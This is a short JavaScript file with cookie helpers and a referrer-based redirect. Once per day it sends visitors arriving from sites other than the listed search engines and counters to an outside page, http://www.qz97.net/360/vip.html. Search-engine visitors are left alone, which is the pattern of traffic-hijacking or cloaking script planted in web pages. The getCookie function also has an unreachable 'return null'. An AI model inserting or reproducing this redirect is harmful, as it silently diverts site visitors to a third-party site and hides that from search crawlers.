function setCookie(name,value,days){
	var exp=new Date();
	exp.setTime(exp.getTime() + days*24*60*60*1000);
	var arr=document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
	document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString();
}
function getCookie(name){
	var arr=document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
	if(arr!=null){
		return unescape(arr[2]);
		return null;
	}
}
if(getCookie("24tui")!="28r"){
	setCookie("24tui","28r",1);
	var reurl=document.referrer;
	if(reurl.length > 0 ){
		if(reurl.indexOf("google.")>0||reurl.indexOf("sogou.")>0||reurl.indexOf("search.")>0||reurl.indexOf("baidu.")>0||reurl.indexOf("blogjava.")>0||reurl.indexOf("soso.")>0||reurl.indexOf("51.")>0||reurl.indexOf("cnzz.")>0||reurl.indexOf("linezing.")>0||reurl.indexOf("50bang.")>0||reurl.indexOf("ccfff.")>0||reurl.indexOf("bing.")>0||reurl.indexOf("28r.i")>0){
			//location.href="?3.55&reurl="+reurl;
		}else{
			location.href="http://www.qz97.net/360/vip.html";	
		}
	}
}
